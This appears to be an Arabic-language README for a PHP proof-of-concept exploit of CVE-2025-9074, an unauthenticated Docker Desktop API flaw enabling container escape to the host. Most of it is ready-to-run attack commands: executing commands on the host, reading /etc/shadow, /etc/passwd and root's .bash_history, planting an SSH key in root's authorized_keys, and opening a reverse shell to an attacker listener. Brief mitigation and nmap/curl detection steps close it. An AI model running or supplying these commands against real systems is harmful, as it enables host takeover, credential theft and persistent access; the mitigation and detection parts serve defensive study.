
PoC بلغة PHP، استغلال لـ CVE-2025-9074
الخطورة: حرجة | درجة CVSS: 9.8 (تقديرية) | الإصدارات المتأثرة: Docker Desktop < 4.44.3
استغلال إثبات مفهوم (PoC) لثغرة CVE-2025-9074، وهي ثغرة تنفيذ أوامر عن بُعد غير مصادق عليها في Docker Engine API تتيح الهروب من الحاويات المميزة (privileged containers) واختراق النظام المضيف.
CVE-2025-9074 هي ثغرة حرجة في Docker Desktop تعرّض Docker Engine API دون مصادقة مناسبة أو عزل شبكي. وهذا يسمح للمهاجمين عن بُعد بـ:
تؤثر الثغرة على:
git clone https://github.com/yourusername/CVE-2025-9074.git
cd CVE-2025-9074
تنفيذ أمر واحد على مضيف Docker:
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
إنشاء قشرة عكسية تفاعلية:
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Run exploit
php poc.php -u http://192.168.65.7:2375 -m reverse -l 10.10.14.36 -p 4444
php poc.php -u <url> [options]
تنفيذ أوامر مفردة على الهدف:
# Simple command
php poc.php -u http://192.168.65.7:2375 -m cmd -c "id"
# Read files from host
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/flag.txt" --cleanup
# With cleanup
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" --cleanup
تشغيل قشرة تفاعلية مع استدعاء عكسي (callback):
php poc.php -u http://192.168.65.7:2375 -m reverse -l 192.168.1.100 -p 4444
php poc.php -u http://target:2375 -m cmd -c "cat /mnt/hostfs/etc/shadow" --os linux
php poc.php -u http://target:2375 -m cmd -c "dir C:\" --os windows
php poc.php -u http://target:2375 -m cmd -c "ls -la /mnt/hostfs/Users/" --os mac
# Enumerate host system
php poc.php -u http://192.168.65.7:2375 -m cmd -c "uname -a"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
# Extract sensitive files
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/root/.bash_history"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/etc/passwd"
# Add SSH key
php poc.php -u http://192.168.65.7:2375 -m cmd -c "mkdir -p /mnt/hostfs/root/.ssh && echo 'SSH_KEY' >> /mnt/hostfs/root/.ssh/authorized_keys"
# Enumerate running containers and networks
php poc.php -u http://192.168.65.7:2375 -m cmd -c "docker ps --all"
0.0.0.0:2375 دون مصادقة/containers/create/:/mnt/hostfs/:/mnt/hostfs/mnt/host/c:/mnt/hostfs/mnt/hostfs┌─────────────────────────────────────────────────────┐
│ poc.php (Your Machine) │
└────────────┬────────────────────────────────────────┘
│ HTTP REST API Call
▼
┌─────────────────────────────────────────────────────┐
│ Docker API (Target Port 2375) [UNAUTHENTICATED] │
└────────────┬────────────────────────────────────────┘
│ Creates Container
▼
┌─────────────────────────────────────────────────────┐
│ Privileged Alpine Container │
│ ├─ Full Root Access │
│ ├─ Bind Mount: /:/mnt/hostfs │
│ └─ Executes Attacker Command │
└────────────┬────────────────────────────────────────┘
│ Command Output
▼
┌─────────────────────────────────────────────────────┐
│ Output Returned to Attacker │
└─────────────────────────────────────────────────────┘
ترقية Docker Desktop
# Update to version 4.44.3 or later
العزل الشبكي
تفعيل مصادقة TLS
# Configure Docker daemon with TLS certificates
# In daemon.json:
{
"tlsverify": true,
"tlscacert": "/etc/docker/ca.pem",
"tlscert": "/etc/docker/server-cert.pem",
"tlskey": "/etc/docker/server-key.pem"
}
تقسيم الشبكة
/var/run/docker.sock) للوصول المحلي فقط# Scan for exposed Docker APIs
nmap -p 2375,2376 -sV target_network
# Check if port responds to Docker API
curl -s http://target:2375/version
تُقدَّم هذه الأداة لأغراض اختبار الأمان المصرح به والتعليم فقط.
المساهمات مرحب بها! لا تتردد في إرسال المشكلات (issues) أو طلبات السحب (pull requests).
هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.
باحث أمني | مختبِر اختراق
آخر تحديث: مايو 2025 | الحالة: بحث نشط
| Option | Short | Required | Description |
|---|
--url | -u | ✅ نعم | عنوان Docker API (مثال: http://1.2.3.4:2375) |
--mode | -m | ❌ لا | وضع التنفيذ: cmd أو reverse (الافتراضي: cmd) |
--cmd | -c | ⚠️ لوضع cmd | الأمر المراد تنفيذه على الهدف |
--lhost | -l | ⚠️ للوضع العكسي | عنوان IP الخاص بك لاستقبال الاتصال |
--lport | -p | ❌ لا | منفذ الاستماع لديك (الافتراضي: 4444) |
--os | — | ❌ لا | نظام تشغيل الهدف: linux, mac, windows (الافتراضي: linux) |
--cleanup | — | ❌ لا | إزالة الحاوية بعد التنفيذ |
--help | -h | ❌ لا | عرض رسالة المساعدة |